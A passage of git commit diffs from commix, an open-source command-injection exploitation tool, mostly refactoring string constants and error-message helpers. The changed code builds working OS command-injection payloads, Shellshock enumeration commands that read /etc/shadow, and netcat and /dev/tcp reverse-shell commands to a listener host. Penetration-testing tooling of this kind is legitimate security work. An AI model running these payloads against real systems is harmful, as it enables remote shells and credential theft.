+ " " + settings.COMMENT + cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 536d27dcbe..a78aa9966e 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -13,8 +13,9 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.thirdparty.six.moves import urllib as _urllib from src.utils import settings +from src.core.injections.controller import checks +from src.thirdparty.six.moves import urllib as _urllib """ The "tempfile-based" technique on Semiblind OS Command Injection. @@ -29,7 +30,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if separator == "||" : pipe = "|" payload = (pipe + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " " "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" " do if %i==" +str(j) + " " @@ -41,7 +42,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + "" "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" " do if %i==" +str(j) + " " @@ -52,7 +53,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): else: if separator == ";" : payload = (separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + + "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + @@ -66,7 +67,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + + "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + @@ -82,7 +83,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + + "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + "str1=$(expr length \"$str\")" + separator + #"str1=${%23str} " + separator + @@ -95,7 +96,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + pipe + + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ] " + separator + @@ -115,7 +116,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque if separator == "||" : pipe = "|" payload = (pipe + " " - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " " "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " @@ -126,7 +127,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + "" "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " @@ -204,7 +205,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul" + pipe + " " + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul" + pipe + " " "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %i==" +str(j) + " " @@ -223,7 +224,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul" + ampersand + "" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul" + ampersand + "" "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %i==" +str(j) + " " @@ -239,7 +240,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth else: if separator == ";" : payload = (separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + "echo $str > " + OUTPUT_TEXTFILE + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + # Find the length of the output. @@ -257,7 +258,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + "echo $str > " + OUTPUT_TEXTFILE + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + # Find the length of the output. @@ -277,8 +278,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str >" + OUTPUT_TEXTFILE + separator + + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator + + "echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + @@ -287,15 +288,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "sleep " + str(timesec) + separator + # Transform to ASCII "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str1 >" + OUTPUT_TEXTFILE + "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) #if menu.options.data: separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" + cmd = cmd.rstrip() + cmd = checks.add_command_substitution(cmd) payload = (pipe + - "echo $(" + cmd.rstrip() + ")>" + OUTPUT_TEXTFILE + pipe + + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ]" + separator + "sleep " + str(timesec) @@ -317,7 +320,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul " + pipe + " " + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + pipe + " " "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " @@ -331,7 +334,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul " + ampersand + "" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + ampersand + "" "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " diff --git a/src/core/main.py b/src/core/main.py index cf38c43d40..da3e40fa67 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -511,10 +511,9 @@ def main(filename, url): # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload - if not menu.options.shellshock: - if not settings.USE_BACKTICKS: - settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" - settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" + # if not menu.options.shellshock and not settings.USE_BACKTICKS and not settings.MULTI_TARGETS: + # settings.SYS_USERS = checks.add_command_substitution(settings.SYS_USERS) + # settings.SYS_PASSES = checks.add_command_substitution(settings.SYS_PASSES) # Check if defined "--file-upload" option. if menu.options.file_upload: checks.file_upload() @@ -737,13 +736,13 @@ def main(filename, url): while True: message = "Please enter full target URL (-u) > " menu.options.url = common.read_input(message, default=None, check_batch=True) - if len(menu.options.url) == 0: + if menu.options.url is None or len(menu.options.url) == 0: pass else: break message = "Please enter POST data (--data) [Enter for none] > " menu.options.data = common.read_input(message, default=None, check_batch=True) - if len(menu.options.data) == 0: + if menu.options.data is not None and len(menu.options.data) == 0: menu.options.data = False # Seconds to delay between each HTTP request. diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 665a50f84b..c8fc468bea 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -80,8 +80,7 @@ def shellshock_exploitation(cve, cmd): def enumeration(url, cve, check_header, filename): _ = False if menu.options.hostname: - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: @@ -89,8 +88,7 @@ def enumeration(url, cve, check_header, filename): settings.ENUMERATION_DONE = True if menu.options.current_user: - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() cmd = settings.CURRENT_USER cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) if cu_account: @@ -98,18 +96,17 @@ def enumeration(url, cve, check_header, filename): settings.ENUMERATION_DONE = True if menu.options.is_root: - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) - cmd = ''.join(cmd).replace("(","").replace(")","") + cmd = ''.join(cmd) + cmd = checks.remove_parenthesis(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: checks.print_current_user_privs(shell, filename, _) settings.ENUMERATION_DONE = True if menu.options.sys_info: - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() cmd = settings.RECOGNISE_OS target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_os: @@ -117,30 +114,28 @@ def enumeration(url, cve, check_header, filename): cmd = settings.DISTRO_INFO distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) checks.print_os_info(target_os, target_arch, filename, _) settings.ENUMERATION_DONE = True if menu.options.users: - cmd = settings.SYS_USERS - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() + cmd = settings.SYS_USERS + cmd = checks.remove_command_substitution(cmd) sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_users: checks.print_users(sys_users, filename, _) settings.ENUMERATION_DONE = True if menu.options.passwords: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - cmd = settings.SYS_PASSES + checks.print_enumenation().print_passes_msg() + cmd = settings.SYS_PASSES + cmd = checks.remove_command_substitution(cmd) sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_passes : - checks.print_users(sys_users, filename, _) + checks.print_passes(sys_passes, filename, _) settings.ENUMERATION_DONE = True """ @@ -301,7 +296,7 @@ def shellshock_handler(url, http_request_method, filename): settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 - attack_vector = "echo" + " " + cve + ":Done;" + attack_vector = "echo" + settings.SINGLE_WHITESPACE + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. @@ -367,7 +362,7 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() - finding = check_header + " " + vuln_parameter + finding = check_header + settings.SINGLE_WHITESPACE + vuln_parameter # Print the findings to terminal. info_msg = finding + " appears to be injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: @@ -415,15 +410,9 @@ def shellshock_handler(url, http_request_method, filename): if menu.options.os_cmd: cmd = menu.options.os_cmd + checks.print_enumenation().print_single_os_cmd_msg(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "Executing the user-supplied command: '" + cmd + "'." - if shell: - print(settings.print_info_msg(info_msg)) - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, shell)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, shell) try: # Pseudo-Terminal shell diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index bf7553a717..e2555f21c1 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -265,11 +265,11 @@ def netcat_version(separator): if nc_version != '4': # Netcat with -e - cmd = nc_alternative + " " + settings.LHOST + " " + settings.LPORT + " -e " + shell + cmd = nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e " + shell else: # nc without -e cmd = shell + " -c \"" + shell + " 0/tmp/f\"" return cmd @@ -349,12 +349,12 @@ def other_reverse_shells(separator): elif other_shell == '6': tmp_file = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(5)]) other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \ - " 1>%260 2>%260\" > /tmp/" + tmp_file + " " + separator + " /bin/bash /tmp/" + tmp_file + " 1>%260 2>%260\" > /tmp/" + tmp_file + settings.SINGLE_WHITESPACE + separator + " /bin/bash /tmp/" + tmp_file break # Ncat-reverse-shell elif other_shell == '7': - other_shell = "ncat " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh" + other_shell = "ncat " + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e /bin/sh" break # Windows Python-reverse-shell @@ -557,7 +557,7 @@ def other_reverse_shells(separator): unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) gen_payload_msg(payload) - subprocess.Popen("python unicorn.py" + " " + str(payload) + " " + str(settings.LHOST) + " " + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() + subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') other_shell = _urllib.parse.quote_plus(other_shell) diff --git a/src/utils/common.py b/src/utils/common.py index 7137f1ca01..e3417a89e3 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -162,7 +162,7 @@ def create_github_issue(err_msg, exc_msg): err_msg = err_msg[err_msg.find("\n"):] request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \ - _urllib.parse.quote("repo:commixproject/commix" + " " + str(bug_report)) + _urllib.parse.quote("repo:commixproject/commix" + settings.SINGLE_WHITESPACE + str(bug_report)) ) try: diff --git a/src/utils/settings.py b/src/utils/settings.py index acca6bfab3..d281831f04 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "79" +REVISION = "80" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -408,7 +408,6 @@ def sys_argv_errors(): MAXLEN = 10000 IS_TTY = True - # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 @@ -562,6 +561,8 @@ def sys_argv_errors(): SHADOW_FILE = "/etc/shadow" SYS_PASSES = FILE_READ + SHADOW_FILE +WIN_REPLACE_WHITESPACE = "-replace('\s+',' '))" + # Accepts 'YES','YE','Y','yes','ye','y' CHOICE_YES = ['YES','YE','Y','yes','ye','y'] diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index ad63e8dcbe..7bdb025297 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -95,7 +95,7 @@ def do_GET(self): return except Exception: - error_response = settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)" + error_response = settings.APPLICATION + settings.SINGLE_WHITESPACE + settings.VERSION + " (https://commixproject.com)" self.wfile.write(error_response.encode()) def log_message(self, format, *args): From 0424fa92e9fb146a0d05f6feb9c1a0692b6cf3a8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 10 Jun 2022 08:34:20 +0300 Subject: [PATCH 0157/1023] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 309a8ec79a..e149bd0b1f 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ ![Screenshot](https://commixproject.com/images/background.png) - +You can visit the [collection of screenshots](https://github.com/commixproject/commix/wiki/Screenshots) demonstrating some of the features on the wiki. ## Installation @@ -23,7 +23,7 @@ You can download commix on any platform by cloning the official Git repository : Alternatively, you can download the latest [tarball](https://github.com/commixproject/commix/tarball/master) or [zipball](https://github.com/commixproject/commix/zipball/master). -*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.* +*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.* ## Usage From 4eade8e8956870d01c9d5ba8b426d245ccfdd6ca Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Jun 2022 08:42:16 +0300 Subject: [PATCH 0158/1023] Minor update --- .../blind/techniques/time_based/tb_handler.py | 15 ++---- .../techniques/time_based/tb_injector.py | 3 +- src/core/injections/controller/checks.py | 53 +++++++------------ src/core/injections/controller/controller.py | 12 ++--- .../techniques/classic/cb_handler.py | 11 ++-- .../techniques/eval_based/eb_handler.py | 11 ++-- .../techniques/file_based/fb_handler.py | 14 ++--- .../techniques/file_based/fb_injector.py | 3 +- .../techniques/tempfile_based/tfb_handler.py | 12 ++--- .../techniques/tempfile_based/tfb_injector.py | 2 +- src/core/main.py | 3 +- src/core/modules/shellshock/shellshock.py | 11 ++-- src/core/requests/authentication.py | 3 +- src/core/requests/redirection.py | 3 +- src/core/requests/requests.py | 9 ++-- src/core/shells/bind_tcp.py | 27 ++++------ src/core/shells/reverse_tcp.py | 33 ++++-------- src/utils/common.py | 17 +++++- src/utils/crawler.py | 18 +++---- src/utils/install.py | 3 +- src/utils/session_handler.py | 6 +-- src/utils/settings.py | 2 +- src/utils/update.py | 6 +-- 23 files changed, 105 insertions(+), 172 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index d32dfd9ba6..6ade57a197 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -225,8 +225,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass if settings.VERBOSITY_LEVEL == 0: @@ -422,8 +421,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -444,8 +442,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): @@ -517,8 +514,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) pass # break @@ -573,8 +569,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass else: if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index da07a0d376..343f30de0b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -23,6 +23,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.utils import menu from src.utils import settings +from src.utils import common from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor from src.core.requests import proxy @@ -522,6 +523,6 @@ def export_injection_results(cmd, separator, output, check_how_long): else: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) sys.stdout.write("\r" + settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c5bc7578e1..4319db5a8f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -67,12 +67,10 @@ def mobile_user_agents(): elif mobile_user_agent.lower() == "q": raise SystemExit() else: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(mobile_user_agent) pass except ValueError: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(mobile_user_agent) pass """ @@ -195,8 +193,7 @@ def not_declared_cookies(response): elif set_cookies in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + set_cookies + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(set_cookies) pass except (KeyError, TypeError): pass @@ -260,8 +257,7 @@ def value_boundaries(value): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass return value @@ -493,8 +489,7 @@ def next_attack_vector(technique, go_back): elif next_attack_vector in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + next_attack_vector + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(next_attack_vector) pass """ @@ -554,8 +549,7 @@ def procced_with_file_based_technique(): elif enable_fb in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enable_fb + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enable_fb) pass """ @@ -617,8 +611,7 @@ def continue_tests(err): elif continue_tests in settings.CHOICE_QUIT: return False else: - err_msg = "'" + continue_tests + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(continue_tests) pass except KeyboardInterrupt: raise @@ -687,8 +680,7 @@ def ps_check(): print(settings.SINGLE_WHITESPACE) os._exit(0) else: - err_msg = "'" + ps_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(ps_check) pass """ @@ -705,8 +697,7 @@ def ps_check_failed(): print(settings.SINGLE_WHITESPACE) os._exit(0) else: - err_msg = "'" + ps_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(ps_check) pass """ @@ -752,8 +743,7 @@ def check_CGI_scripts(url): print(settings.SINGLE_WHITESPACE) os._exit(0) else: - err_msg = "'" + shellshock_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(shellshock_check) pass if not _: @@ -821,8 +811,7 @@ def identified_os(): elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass """ @@ -900,8 +889,7 @@ def identified_http_auth_type(auth_type): elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass """ @@ -1350,8 +1338,7 @@ def recognise_payload(payload): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass if is_decoded: @@ -1553,8 +1540,7 @@ def process_xml_data(): elif xml_process in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + xml_process + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(xml_process) pass #Check if INJECT_TAG is enclosed in quotes (in json data) @@ -1596,8 +1582,7 @@ def process_json_data(): elif json_process in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + json_process + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(json_process) pass """ @@ -2020,7 +2005,7 @@ def print_single_os_cmd(cmd, shell): _ = "'" + cmd + "' execution output" print(settings.print_retrieved_data(_, shell)) else: - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) """ @@ -2290,8 +2275,7 @@ def file_upload(): elif enable_HTTP_server in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enable_HTTP_server + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enable_HTTP_server) pass """ @@ -2334,8 +2318,7 @@ def define_py_working_dir(): settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) break else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_dir) pass settings.USER_DEFINED_PYTHON_DIR = True diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index f0f54c3c9d..286ae2a89f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -226,8 +226,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass else: settings.CLASSIC_STATE = False @@ -259,8 +258,7 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass else: settings.EVAL_BASED_STATE = False @@ -391,8 +389,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass if not settings.IDENTIFIED_COMMAND_INJECTION and not 